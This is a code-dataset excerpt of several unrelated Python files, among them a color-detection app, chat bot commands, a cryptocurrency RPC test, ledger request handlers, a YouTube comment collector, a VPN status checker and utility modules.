player_hand.remove(resource_type=Rock, count=1)\n player_hand.remove(resource_type=Sheep, count=1)\n player_hand.remove(resource_type=Wheat, count=1)\n development_card = self.development_card_deck.draw()\n self.player_development_cards[player].append(development_card)\n","sub_path":"catan_core/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":6962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"576230519","text":"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nProject: Color Identification in Images \nDescription: Implement an image color detector which identifies all the colors\n in an image\nBy:- Ravi Prajapati\n(Project implemented during my internship period in The Sparks Foundation)\n(Task 3)\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\nimport pandas as pd\nimport cv2\n\nclicked = False\nr = g = b = xpos = ypos = 0\n\nimage = cv2.imread(\"pic2.jpg\")\nimage=cv2.resize(image,(1400,700))\nindex=[\"color\", \"color_name\", \"hex\", \"R\", \"G\", \"B\"]\ndata = pd.read_csv(\"colorcodes.csv\", names=index, header=None,encoding='cp1252')\n#print(data.head())\n#cv2.imshow(\"Color\",image)\n\ndef recognize_color(R,G,B):\n minimum = 10000\n for i in range(len(data)):\n d = abs(R- int(data.loc[i,\"R\"])) + abs(G- int(data.loc[i,\"G\"]))+ abs(B- int(data.loc[i,\"B\"]))\n if(d<=minimum):\n minimum = d\n cname = data.loc[i,\"color_name\"]\n return cname\n\ndef mouse_click(event, x, y, flags, param):\n if event == cv2.EVENT_LBUTTONDBLCLK:\n global b,g,r,xpos,ypos, clicked\n clicked = True\n xpos = x\n ypos = y\n b,g,r = image[y,x]\n b = int(b)\n g = int(g)\n r = int(r)\n\ncv2.namedWindow('Color Recognition App')\ncv2.setMouseCallback('Color Recognition App', mouse_click)\n\nwhile True:\n cv2.imshow(\"Color Recognition App\",image)\n if (clicked):\n cv2.rectangle(image,(20,20), (1350,70), (b,g,r), -1)\n text = recognize_color(r,g,b) + ' R='+ str(r) + ' G='+ str(g) + ' B='+ str(b)\n cv2.putText(image, text,(435,57),2,1,(255,255,255),2,cv2.LINE_AA)\n if(r+g+b>=600):\n cv2.putText(image, text,(435,57),2,1,(0,0,0),2,cv2.LINE_AA)\n clicked=False\n if cv2.waitKey(20) & 0xFF ==27:\n break\n\ncv2.destroyAllWindows()\n","sub_path":"Color Detection.py","file_name":"Color Detection.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"221413260","text":"from lrrbot import bot\nfrom config import config\nimport datetime\nimport googlecalendar\nimport utils\nimport storage\n\n@bot.command(\"test\")\n@utils.mod_only\ndef test(lrrbot, conn, event, respond_to):\n\tconn.privmsg(respond_to, \"Test\")\n\n@bot.command(\"storm(?:count)?\")\n@utils.throttle()\ndef stormcount(lrrbot, conn, event, respond_to):\n\ttoday = datetime.datetime.now(config[\"timezone\"]).date().toordinal()\n\tif today != storage.data.get(\"storm\", {}).get(\"date\"):\n\t\tstorage.data[\"storm\"] = {\n\t\t\t\"date\": today,\n\t\t\t\"count\": 0\n\t\t}\n\t\tstorage.save()\n\tconn.privmsg(respond_to, \"Today's storm count: %d\" % storage.data[\"storm\"][\"count\"])\n\n@bot.command(\"next(?:stream)?|sched(?:ule)?\")\n@utils.throttle()\ndef next(lrrbot, conn, event, respond_to):\n\tevent_name, event_time, event_wait = googlecalendar.get_next_event()\n\tif event_time:\n\t\tnice_time = event_time = event_time.astimezone(config[\"timezone\"]).strftime(\"%a %I:%M %p %Z\")\n\t\tif event_wait < 0:\n\t\t\tnice_duration = utils.nice_duration(-event_wait, 1) + \" ago\"\n\t\telse:\n\t\t\tnice_duration = utils.nice_duration(event_wait, 1) + \" from now\"\n\t\tconn.privmsg(respond_to, \"Next scheduled stream: %s at %s (%s)\" % (event_name, nice_time, nice_duration))\n\telse:\n\t\tconn.privmsg(respond_to, \"There don't seem to be any upcoming scheduled streams\")\n\n@bot.command(\"time\")\n@utils.throttle()\ndef time(lrrbot, conn, event, respond_to):\n\tnow = datetime.datetime.now(config[\"timezone\"])\n\tconn.privmsg(respond_to, \"Current moonbase time: %s\" % now.strftime(\"%l:%M %p\"))\n","sub_path":"commands/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"256138737","text":"# coding=utf-8\n'''\nTest script\n*WARNING* Don't run this on a production verge server! *WARNING*\nOnly on the test network.\n'''\nimport argparse\nimport os\nimport sys\nsys.path.append('../src')\n\nimport vergerpc\nfrom vergerpc.exceptions import VERGEException, InsufficientFunds\n\n\nfrom decimal import Decimal\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--config', help=\"Specify configuration file\")\nparser.add_argument('--nolocal', help=\"Don't use connect_to_local\",\n action='store_true')\nparser.add_argument('--noremote', help=\"Don't use connect_to_remote\",\n action='store_true')\nparser.add_argument('--envconfig', help=\"Configure through environment variables, see Test.rst\",\n action='store_true')\t\t\t\t\t\nargs = parser.parse_args()\n\ndef get_local_connections():\n \"\"\"\n Return connections from local configuration files\n \"\"\"\n # The default cases, read the local or a specific VERGEd\n # configuration file\n if args.config:\n from vergerpc.config import read_config_file\n cfg = read_config_file(args.config)\n else:\n from vergerpc.config import read_default_config\n cfg = read_default_config(None)\n port = int(cfg.get('rpcport', '20102'))\n rpcuser = cfg.get('rpcuser', '')\n connections = []\n if not args.nolocal:\n local_conn = vergerpc.connect_to_local() # will use read_default_config\n connections.append(local_conn)\n if not args.noremote:\n remote_conn = vergerpc.connect_to_remote(\n user=rpcuser, password=cfg['rpcpassword'], host='localhost',\n port=port, use_https=False)\n connections.append(remote_conn)\n return connections\n\ndef get_environment_connections():\n \"\"\"\n Return connections from environment variables\n \"\"\"\n host = os.environ['HOST']\n passwd = os.environ['PASS']\n user1 = os.environ['USER1']\n user2 = os.environ['USER2']\n port1 = int(os.environ['PORT1'])\n port2 = int(os.environ['PORT2'])\n connections = (\n vergerpc.connect_to_remote(user=user1, password=passwd,\n host=host, port=port1, use_https=False),\n vergerpc.connect_to_remote(user=user2, password=passwd,\n host=host, port=port2, use_https=False),\n )\n return connections\n\t\ndef get_connections():\n if args.envconfig:\n return get_environment_connections()\n else:\n return get_local_connections()\n\nif __name__ == \"__main__\":\n connections = get_connections()\n for conn in connections:\n assert(conn.getinfo().testnet) # don't test on prodnet\n\n assert(type(conn.getblockcount()) is int)\n assert(type(conn.getconnectioncount()) is int)\n assert(type(conn.getdifficulty()) is Decimal)\n assert(type(conn.getgenerate()) is bool)\n conn.setgenerate(True)\n conn.setgenerate(True, 2)\n conn.setgenerate(False)\n assert(type(conn.gethashespersec()) is int)\n account = \"testaccount\"\n account2 = \"testaccount2\"\n vergeaddress = conn.getnewaddress(account)\n conn.setaccount(vergeaddress, account)\n address = conn.getaccountaddress(account)\n address2 = conn.getaccountaddress(account2)\n assert(conn.getaccount(address) == account)\n addresses = conn.getaddressesbyaccount(account)\n assert(address in addresses)\n #conn.sendtoaddress(vergeaddress, amount, comment=None, comment_to=None)\n conn.getreceivedbyaddress(vergeaddress)\n conn.getreceivedbyaccount(account)\n conn.listreceivedbyaddress()\n conn.listreceivedbyaccount()\n #conn.backupwallet(destination)\n x = conn.validateaddress(address)\n assert(x.isvalid == True)\n x = conn.validateaddress(\"invalid\")\n assert(x.isvalid == False)\n messages = ('Hello, world!', 'かたな')\n for message in messages:\n signature = conn.signmessage(vergeaddress, message)\n assert(conn.verifymessage(vergeaddress, signature, message) is True)\n\n for accid in list(conn.listaccounts(as_dict=True).keys()):\n tx = conn.listtransactions(accid)\n if len(tx) > 0:\n txid = tx[0].txid\n txdata = conn.gettransaction(txid)\n assert(txdata.txid == tx[0].txid)\n\n assert(type(conn.listunspent()) is list) # needs better testing\n\n try:\n conn.sendtoaddress(vergeaddress, 10000000)\n assert(0) # Should raise InsufficientFunds\n except InsufficientFunds:\n pass\n\n info = conn.getinfo()\n print((\"Blocks: %i\" % info.blocks))\n print((\"Connections: %i\" % info.connections))\n print((\"Difficulty: %f\" % info.difficulty))\n\n m_info = conn.getmininginfo()\n print((\"Pooled Transactions: {pooledtx}\\n\"\n \"Testnet: {testnet}\\n\"\n \"Hash Rate: {hashes} H/s\".format(pooledtx=m_info.pooledtx,\n testnet=m_info.testnet,\n hashes=m_info.hashespersec)))\n","sub_path":"tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"284441653","text":"from _sha256 import sha256\nfrom typing import Optional\n\nfrom common.serializers.serialization import config_state_serializer\nfrom plenum.common.constants import TXN_AUTHOR_AGREEMENT, TXN_AUTHOR_AGREEMENT_AML, GET_TXN_AUTHOR_AGREEMENT, \\\n GET_TXN_AUTHOR_AGREEMENT_AML, TXN_TYPE, TXN_AUTHOR_AGREEMENT_VERSION, TXN_AUTHOR_AGREEMENT_TEXT, TRUSTEE, \\\n CONFIG_LEDGER_ID\nfrom plenum.common.exceptions import InvalidClientRequest, UnauthorizedClientRequest\nfrom plenum.common.request import Request\nfrom plenum.common.txn_util import get_type, get_payload_data\nfrom plenum.server.domain_req_handler import DomainRequestHandler\nfrom plenum.server.ledger_req_handler import LedgerRequestHandler\nfrom storage.state_ts_store import StateTsDbStorage\n\n\nclass ConfigReqHandler(LedgerRequestHandler):\n write_types = {TXN_AUTHOR_AGREEMENT, TXN_AUTHOR_AGREEMENT_AML}\n query_types = {GET_TXN_AUTHOR_AGREEMENT, GET_TXN_AUTHOR_AGREEMENT_AML}\n\n def __init__(self, ledger, state, domain_state, ts_store: Optional[StateTsDbStorage] = None):\n super().__init__(CONFIG_LEDGER_ID, ledger, state, ts_store)\n self._domain_state = domain_state\n\n def doStaticValidation(self, request: Request):\n pass\n\n def get_query_response(self, request):\n pass\n\n def validate(self, req: Request):\n self.authorize(req)\n\n operation = req.operation\n typ = operation.get(TXN_TYPE)\n if typ == TXN_AUTHOR_AGREEMENT:\n version = operation[TXN_AUTHOR_AGREEMENT_VERSION]\n if self.get_taa_digest(version, isCommitted=False) is not None:\n raise InvalidClientRequest(req.identifier, req.reqId,\n \"Changing existing version of transaction author agreement is forbidden\")\n\n def authorize(self, req: Request):\n typ = req.operation.get(TXN_TYPE)\n\n if typ in [TXN_AUTHOR_AGREEMENT, TXN_AUTHOR_AGREEMENT_AML] \\\n and not self._is_trustee(req.identifier):\n raise UnauthorizedClientRequest(req.identifier, req.reqId,\n \"Only trustee can update transaction author agreement and AML\")\n\n def updateState(self, txns, isCommitted=False):\n for txn in txns:\n self.updateStateWithSingleTxn(txn, isCommitted=isCommitted)\n\n def updateStateWithSingleTxn(self, txn, isCommitted=False):\n typ = get_type(txn)\n payload = get_payload_data(txn)\n if typ == TXN_AUTHOR_AGREEMENT:\n self.update_txn_author_agreement(payload)\n\n def update_txn_author_agreement(self, payload):\n version = payload[TXN_AUTHOR_AGREEMENT_VERSION]\n text = payload[TXN_AUTHOR_AGREEMENT_TEXT]\n digest = self._taa_digest(version, text)\n\n self.state.set(self._state_path_taa_latest(), digest)\n self.state.set(self._state_path_taa_version(version), digest)\n self.state.set(self._state_path_taa_digest(digest), config_state_serializer.serialize(payload))\n\n def get_taa_digest(self, version: Optional[str] = None, isCommitted: bool = True):\n path = self._state_path_taa_latest() if version is None \\\n else self._state_path_taa_version(version)\n return self.state.get(path, isCommitted=isCommitted)\n\n @staticmethod\n def _state_path_taa_latest():\n return b\"taa:v:latest\"\n\n @staticmethod\n def _state_path_taa_version(version: str):\n return \"taa:v:{version}\".format(version=version).encode()\n\n @staticmethod\n def _state_path_taa_digest(digest: str):\n return \"taa:d:{digest}\".format(digest=digest).encode()\n\n @staticmethod\n def _taa_digest(version: str, text: str) -> str:\n return sha256('{}{}'.format(version, text).encode()).hexdigest()\n\n def _is_trustee(self, nym: str):\n return bool(DomainRequestHandler.get_role(self._domain_state, nym,\n TRUSTEE, isCommitted=False))\n","sub_path":"plenum/server/config_req_handler.py","file_name":"config_req_handler.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"459510035","text":"from hippy import consts\nfrom hippy.klass import def_class\nfrom hippy.objects.intobject import W_IntObject\nfrom hippy.builtin import wrap_method, ThisUnwrapper\nfrom hippy.builtin_klass import GetterSetterWrapper\nfrom hippy.error import PHPException\n\nfrom hippy.module.reflections.parameter import k_ReflectionParameter\nfrom hippy.module.reflections.function_abstract import (\n ReflectionFunctionAbstract, W_ReflectionFunctionAbstract\n)\n\nIS_STATIC = 1\nIS_PUBLIC = 256\nIS_PROTECTED = 512\nIS_PRIVATE = 1024\nIS_ABSTRACT = 2\nIS_FINAL = 4\n\n\nclass W_ReflectionMethodObject(W_ReflectionFunctionAbstract):\n pass\n\n\n@wrap_method(['interp', ThisUnwrapper(W_ReflectionMethodObject), str, str],\n name='ReflectionMethod::__construct')\ndef construct(interp, this, class_name, method_name):\n klass = interp.lookup_class_or_intf(class_name)\n\n this.ref_klass = klass\n try:\n this.ref_method = klass.methods[method_name]\n except KeyError:\n msg = \"Method %s does not exist\" % method_name\n raise PHPException(interp._class_get('ReflectionException').call_args(\n interp, [interp.space.wrap(msg)]\n ))\n\n\n@wrap_method(['interp', ThisUnwrapper(W_ReflectionMethodObject)],\n name='ReflectionMethod::isPublic')\ndef is_public(interp, this):\n return interp.space.wrap(this.ref_method.is_public())\n\n\n@wrap_method(['interp', ThisUnwrapper(W_ReflectionMethodObject)],\n name='ReflectionMethod::getDeclaringClass')\ndef get_declaring_class(interp, this):\n ReflectionClass = interp._class_get('ReflectionClass')\n klass = this.ref_method.getclass()\n return ReflectionClass.call_args(interp, [interp.space.wrap(klass.name)])\n\n\n@wrap_method(['interp', ThisUnwrapper(W_ReflectionMethodObject)],\n name='ReflectionMethod::isStatic')\ndef is_static(interp, this):\n return interp.space.wrap(this.ref_method.is_static())\n\n\n@wrap_method(['interp', ThisUnwrapper(W_ReflectionMethodObject)],\n name='ReflectionMethod::getParameters')\ndef get_parameters(interp, this):\n space = interp.space\n\n args = this.ref_method.get_signature().args\n parameters = []\n for i in range(len(args)):\n\n arg = interp.space.new_array_from_list([\n space.wrap(this.ref_klass.name),\n space.wrap(this.ref_method.get_name())\n ])\n parameters.append((\n space.wrap(i),\n k_ReflectionParameter.call_args(interp, [arg, space.wrap(i)])\n ))\n\n return space.new_array_from_pairs(parameters)\n\n\n\n@wrap_method(['interp', ThisUnwrapper(W_ReflectionMethodObject)],\n name='ReflectionMethod::getDocComment')\ndef get_doc_comment(interp, this):\n return interp.space.wrap(\"\")\n\n\ndef _get_class(interp, this):\n return interp.space.wrap(this.ref_klass.name)\n\ndef _set_class(interp, this, w_value):\n pass\n\ndef _get_name(interp, this):\n return interp.space.wrap(this.ref_method.get_name())\n\ndef _set_name(interp, this, w_value):\n pass\n\n\ndef_class(\n 'ReflectionMethod',\n [construct,\n is_public,\n is_static,\n get_doc_comment,\n get_parameters,\n get_declaring_class],\n [GetterSetterWrapper(_get_class, _set_class, \"class\", consts.ACC_PUBLIC),\n GetterSetterWrapper(_get_name, _set_name, \"name\", consts.ACC_PUBLIC)],\n [('IS_STATIC', W_IntObject(IS_STATIC)),\n ('IS_PUBLIC', W_IntObject(IS_PUBLIC)),\n ('IS_PROTECTED', W_IntObject(IS_PROTECTED)),\n ('IS_PRIVATE', W_IntObject(IS_PRIVATE)),\n ('IS_ABSTRACT', W_IntObject(IS_ABSTRACT)),\n ('IS_FINAL', W_IntObject(IS_FINAL))],\n instance_class=W_ReflectionMethodObject,\n extends=ReflectionFunctionAbstract\n)\n","sub_path":"hippy/module/reflections/method.py","file_name":"method.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"249428193","text":"from apiclient.discovery import build\nfrom os import listdir\nimport datetime\nimport re\nimport pandas as pd\n\ndef gera_logfile(ultimo_indice_corpus):\n \"\"\" Cria um arquivo 'dd-mm-aaaa_hh-mm-ss.txt' com os exemplos coletados nessa data \"\"\"\n\n now = datetime.datetime.now()\n date = str(now.day) + '-' + str(now.month) + '-' + str(now.year)\n time = str(now.hour) + '-' + str(now.minute) + '-' + str(now.second)\n nome_logfile = date+'_'+time+'.txt'\n print('Gerando logfile '+nome_logfile)\n\n log_file = open('data/logfiles/'+nome_logfile, 'a+')\n log_file.write('tamanho_inicio: ' + str(ultimo_indice_corpus) + '\\n')\n\n return log_file\n\ndef consulta(api_key, corpus, categorias, canais, nresultados=100, ordem='time',\n respostas=False):\n \"\"\" Realiza uma consulta pelos parametros passados como argumento e adiciona os resultados em corpus.\n corpus = dicionario onde os resultados serao armazenados\n categoria = objeto da classe categoria\n canal = objeto da classe canal\n nresultados = numero no intervalo (1,100) que corresponde ao numero de resultados\n ordem = 'time' ou 'relevance'\n respostas = True retorna comentários e respostas a ele. False retorna somente os comentarios.\n as respostas podem nao conter o termo buscado\n api_key = chave de autenticacao da api \"\"\"\n\n youtube = build('youtube', 'v3', developerKey=api_key)\n ultimo_indice_corpus = len(corpus)\n logfile = gera_logfile(ultimo_indice_corpus)\n\n regexes = {'homofobico': '', 'obsceno': '', 'racismo': '',\n 'insulto':'', 'misogino': '', 'xenofobia': ''}\n\n for categoria, termos in categorias.items():\n for termo in termos.split(','):\n regexes[categoria] += str(termo) + '|'\n # Removendo o ultimo '|'\n for categoria in regexes.keys():\n regexes[categoria] = regexes[categoria][:-1]\n\n if respostas:\n part = 'snippet,replies'\n else:\n part = 'snippet'\n\n total_termo = 0\n total_categoria = 0\n for nome_canal, id_canal in canais.items(): # Para cada canal\n total_por_canal = 0\n print('Buscando em:', nome_canal)\n logfile.write('\\nindices encontrados em ' + nome_canal + ': ')\n\n for nome, categ in categorias.items(): # Para cada categoria em um canal\n print('\\t'+nome, end=':\\n')\n categ_list = categ.split(',')\n for termo in categ_list: # Para cada termo X que pertence a uma categoria Y em um canal Z\n print('\\t\\t'+termo, end=': ')\n request = youtube.commentThreads().list(part=part,\n allThreadsRelatedToChannelId=id_canal,\n searchTerms=termo,\n textFormat='plainText',\n maxResults=nresultados,\n order=ordem)\n try:\n query = request.execute()\n\n except Exception as error: # Consulta falhou\n print(error)\n continue\n\n n_results = len(query['items'])\n for i in range(n_results):\n comentario = query['items'][i]['snippet']['topLevelComment']['snippet']['textOriginal']\n\n if corpus['comentario'].isin([comentario]).any(): # Se já está no corpus ignore\n continue\n else:\n corpus.loc[ultimo_indice_corpus, 'toxico'] = 0\n for categoria, regex in regexes.items():\n if re.search(regex, comentario.lower()):\n corpus.loc[ultimo_indice_corpus, 'toxico'] = 1\n corpus.loc[ultimo_indice_corpus, categoria] = 1\n else:\n corpus.loc[ultimo_indice_corpus, categoria] = 0\n\n corpus.loc[ultimo_indice_corpus, 'comentario'] = comentario # Senao insira no corpus\n logfile.write(str(ultimo_indice_corpus) + ' ')\n ultimo_indice_corpus += 1\n total_termo += 1\n total_por_canal += 1\n\n total_categoria += total_termo\n print(total_termo)\n total_termo = 0\n\n print('\\ttotal em ', nome+':', total_categoria, '\\n')\n total_categoria = 0\n\n logfile.write('\\ntotal em ' + str(nome_canal) + ': ' + str(total_por_canal) + '\\n')\n print(total_por_canal, 'novos exemplos em', nome_canal + '\\n')\n\n logfile.write('\\ntamanho final: ' + str(ultimo_indice_corpus))\n logfile.close()\n","sub_path":"youtube/utilitarios.py","file_name":"utilitarios.py","file_ext":"py","file_size_in_byte":4836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"485404946","text":"from collections import deque\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\nm = int(input())\n\nadj = [[] for _ in range(n+1)]\nfor _ in range(m):\n u,v,cost = map(int,input().split())\n adj[u].append((v,cost))\n\nstart,end = map(int,input().split())\n\nINF = float('inf')\ndistance = [INF]*(n+1)\nparent = [-1]*(n+1)\n\nq = deque([(0,start)])\ndistance[start] = 0\nwhile q:\n dist,u = q.popleft()\n if dist > distance[u]:\n continue\n\n for v,cost in adj[u]:\n cost += dist\n if distance[v] > cost:\n parent[v] = u\n distance[v] = cost\n q.append((cost,v))\n\npath = []\nv = end\nwhile v != -1:\n path.append(v)\n v = parent[v]\npath.reverse()\n\nprint(distance[end])\nprint(len(path))\nprint(*path)\n\n\n \n\n\n\n","sub_path":"acmicpc/11779.py","file_name":"11779.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"613431439","text":"#!/usr/bin/python3\n\nimport datetime\nimport logging\nimport os\nimport re\nimport requests\nimport smtplib\nimport socket\nimport subprocess\nimport sys\nimport urllib.request\n\nfrom email.message import EmailMessage\nfrom pathlib import Path\n\n# Dynamic DNS host name\nlocalDomain = 'stillbrook.ddns.net'\n# --- Configuration End ---\n\nimport checkVPN_config as config\n\n\n# List of wbsites URL's that return just an IP address\nip_websites = {\n 'https://api.ipify.org/?format=text',\n 'https://ipecho.net/plain',\n 'https://ifconfig.me/ip'\n}\n\n# Results from last command execution\nlastStdOut = None\nlastStdErr = None\nlastReturnCode = None\n\n\n# Execute a system command\n#\ndef run_system_cmd(cmd):\n cmdList = cmd.split(' ')\n process = subprocess.Popen(cmdList, \n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE)\n lastStdOut,lastStdErr = process.communicate()\n lastReturnCode = process.returncode\n return lastStdOut if lastReturnCode == 0 else lastStdErr\n\n\n# Retrieve a website page\n#\ndef get_webpage(url):\n try:\n remote = urllib.request.urlopen(url, data=None, timeout=30)\n page = remote.read().decode('utf-8')\n except Exception as e:\n print(\"Exception getting url %s: %s\" %(url, e))\n return None\n\n return page\n\n# Main program entry point\n#\nif __name__ == '__main__':\n dnsIP = None\n\n # Get DNS IP address of our host name\n try: \n dnsIP = socket.gethostbyname(localDomain)\n except Exception as e:\n logger.error(\"socket.gethostbyname error: %s\", str(e))\n pass\n \n if dnsIP == None:\n print(\"Unable to resolve %s\", localDomain)\n exit(1)\n\n print(\"DNS IP = %s\", dnsIP)\n\n # Loop through various IP websites until we get the public IP address\n for ip_website in ip_websites:\n vpnIP = get_webpage(ip_website)\n # Once we have the IP, look no further\n if vpnIP:\n break\n\n if vpnIP == None:\n print(\"Unable to resolve VPN IP address\")\n exit(1)\n\n if re.match(r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}', vpnIP) != None:\n if dnsIP == vpnIP:\n # VPN is DOWN\n print (\"VPN is DOWN\")\n else:\n print(\"VPN is UP\")\n else:\n print(\"IP website failed to return an IP address: %s\", vpnIP)\n","sub_path":"vpn_status.py","file_name":"vpn_status.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"328021815","text":"# Find out the intersection of the lists\n\n# Method - 1\na = [1,2,3,5,7,9]\nb = [2,3,5,6,7,8]\noutput = [i for i in a if i in b]\nprint(\"Method -1: \",output)\n\n# Method - 2\noutput1= list(set(a) & set(b))\nprint(\"Method -2: \",output1)\n","sub_path":"examples/basic/list_intersect.py","file_name":"list_intersect.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"635065383","text":"import boto3\nimport json\nimport decimal\nfrom boto3.dynamodb.conditions import Key, Attr\nimport botocore\nfrom botocore.exceptions import ClientError\nimport match\nfrom datetime import datetime\nimport botocore.session\n\ndef confirm_upload(uid, imei):\n try:\n record_id_used(uid, imei)\n upload_manifest_to_S3(uid, imei)\n return validate_upload(uid)\n except botocore.exceptions.ClientError as e:\n log(e)\n return False\n\n\ndef validate_upload(uid):\n s3 = boto3.client('s3')\n bucket = \"boba-encounters-test\"\n strUID = str(uid)\n prefix = strUID +\"/manifest.txt\"\n try:\n for key in s3.list_objects(Bucket=bucket, Prefix=prefix)['Contents']:\n log(\"KEY -- \" + key['Key'])\n if \"manifest.txt\" in key['Key']:\n log(\"FOUND\" + key['Key'] + \" -- upload confirmed\")\n #match.send_sync_request(uid)\n return True\n else:\n log(\"NOT FOUND -- Could NOT find manifest.json, upload failed\")\n return False\n except botocore.exceptions.ClientError as e:\n return False\n\ndef record_id_used(uid, imei):\n dynamodb = boto3.resource(\"dynamodb\")\n table = dynamodb.Table(\"BOBA-Encounters-Test\")\n\n fe = Attr('UID').eq(uid) & Attr('IMEI').eq(imei) & Attr('Flag').eq(\"Issued\")\n pe = \"Flag\"\n\n response = table.scan(\n FilterExpression = fe,\n ProjectionExpression = pe,\n )\n\n data = response['Items']\n if (len(data)>0):\n if(data[0]['Flag'] == \"Issued\"):\n response = table.update_item(\n Key={\n 'UID': decimal.Decimal(uid),\n 'IMEI': imei,\n },\n UpdateExpression=\"SET #Flag = :new\",\n ExpressionAttributeValues={\n ':new': 'Used',\n },\n ExpressionAttributeNames = {\n '#Flag': 'Flag',\n },\n ReturnValues=\"UPDATED_NEW\",\n )\n\ndef request_new_id(imei):\n UID=increment_id()\n create_enrollment_placeholder(UID, imei)\n return UID\n\ndef increment_id():\n dynamodb = boto3.resource(\"dynamodb\")\n table = dynamodb.Table(\"BOBA-IDCounter-Test\")\n response = table.update_item(\n Key={'ID': '0'},\n UpdateExpression=\"set UID = UID + :val\",\n ExpressionAttributeValues={':val': decimal.Decimal(1)},\n ReturnValues=\"UPDATED_OLD\")\n return response[\"Attributes\"][\"UID\"]\n\ndef create_enrollment_placeholder(uid, imei):\n dynamodb = boto3.resource(\"dynamodb\")\n table = dynamodb.Table(\"BOBA-Encounters-Test\")\n\n response = table.put_item(\n Item={\n 'UID': uid,\n 'IMEI': imei,\n 'Flag': \"Issued\"\n }\n )\n\ndef log(message):\n print(message)\n\ndef upload_manifest_to_S3(uid, imei):\n\n s3 = boto3.client(\"s3\")\n\n bucket = \"boba-encounters-test\"\n strUID = str(uid)\n file_name = strUID +\"/manifest.txt\"\n manifest_header=\"Manifest\\nCreated by IMEI: \" + imei + \"\\n\" + \"Creation time: \" + str(datetime.now()) + \"\\nFiles:\\n\"\n manifest_content = \"\"\n for key in s3.list_objects(Bucket=bucket, Prefix=strUID)['Contents']:\n manifest_content += key['Key'] + \"\\n\"\n s3.put_object(Body=manifest_header + manifest_content, Bucket=bucket, Key=file_name)","sub_path":"test/sync_up.py","file_name":"sync_up.py","file_ext":"py","file_size_in_byte":3320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"147923636","text":"#!/usr/bin/env python3\n'''Utility functions used by various python scripts KG2 build system\n\n Usage: import kg2_util\n (then call a function like kg2_util.log_message(), etc.)\n'''\n\n__author__ = 'Stephen Ramsey'\n__copyright__ = 'Oregon State University'\n__credits__ = ['Stephen Ramsey']\n__license__ = 'MIT'\n__version__ = '0.1.0'\n__maintainer__ = ''\n__email__ = ''\n__status__ = 'Prototype'\n\nimport copy\nimport gzip\nimport html.parser\nimport io\nimport json\nimport os\nimport pathlib\nimport pprint\nimport prefixcommons\nimport re\nimport shutil\nimport ssl\nimport sys\nimport tempfile\nimport time\nimport typing\nimport urllib.parse\nimport urllib.request\nimport yaml\n\nCURIE_PREFIX_ENSEMBL = 'ENSEMBL'\nTEMP_FILE_PREFIX = 'kg2'\nFIRST_CAP_RE = re.compile('(.)([A-Z][a-z]+)')\nALL_CAP_RE = re.compile('([a-z0-9])([A-Z])')\nBIOLINK_CATEGORY_BASE_IRI = 'https://biolink.github.io/biolink-model/docs/'\nBIOLINK_CURIE_PREFIX = 'Biolink'\nIRI_OWL_SAME_AS = 'http://www.w3.org/2002/07/owl#sameAs'\nCURIE_OWL_SAME_AS = 'owl:sameAs'\nNCBI_TAXON_ID_HUMAN = 9606\nCURIE_PREFIX_NCBI_GENE = 'NCBIGene'\nCURIE_PREFIX_NCBI_TAXON = 'NCBITaxon'\n\n\nclass MLStripper(html.parser.HTMLParser):\n def __init__(self):\n super().__init__()\n self.reset()\n self.fed = []\n\n def handle_data(self, d):\n self.fed.append(d)\n\n def get_data(self):\n return ''.join(self.fed)\n\n\ndef strip_html(input_string: str) -> str:\n html_stripper = MLStripper()\n html_stripper.feed(input_string.replace('

', '

'))\n return html_stripper.get_data()\n\n\ndef load_json(input_file_name: str):\n return json.load(open(input_file_name, 'r'))\n\n\ndef save_json(data, output_file_name: str, test_mode: bool = False):\n if not test_mode:\n indent_num = None\n sort_keys = False\n else:\n indent_num = 4\n sort_keys = True\n temp_output_file_name = tempfile.mkstemp(prefix='kg2-')[1]\n if not output_file_name.endswith('.gz'):\n temp_output_file = open(temp_output_file_name, 'w')\n json.dump(data, temp_output_file, indent=indent_num, sort_keys=sort_keys)\n else:\n temp_output_file = gzip.GzipFile(temp_output_file_name, 'w')\n temp_output_file.write(json.dumps(data, indent=indent_num, sort_keys=sort_keys).encode('utf-8'))\n shutil.move(temp_output_file_name, output_file_name)\n\n\ndef get_file_last_modified_timestamp(file_name: str):\n return time.gmtime(os.path.getmtime(file_name))\n\n\ndef read_file_to_string(local_file_name: str):\n with open(local_file_name, 'r') as myfile:\n file_contents_string = myfile.read()\n myfile.close()\n return file_contents_string\n\n\ndef head_list(x: list, n: int = 3):\n pprint.pprint(x[0:n])\n\n\ndef head_dict(x: dict, n: int = 3):\n 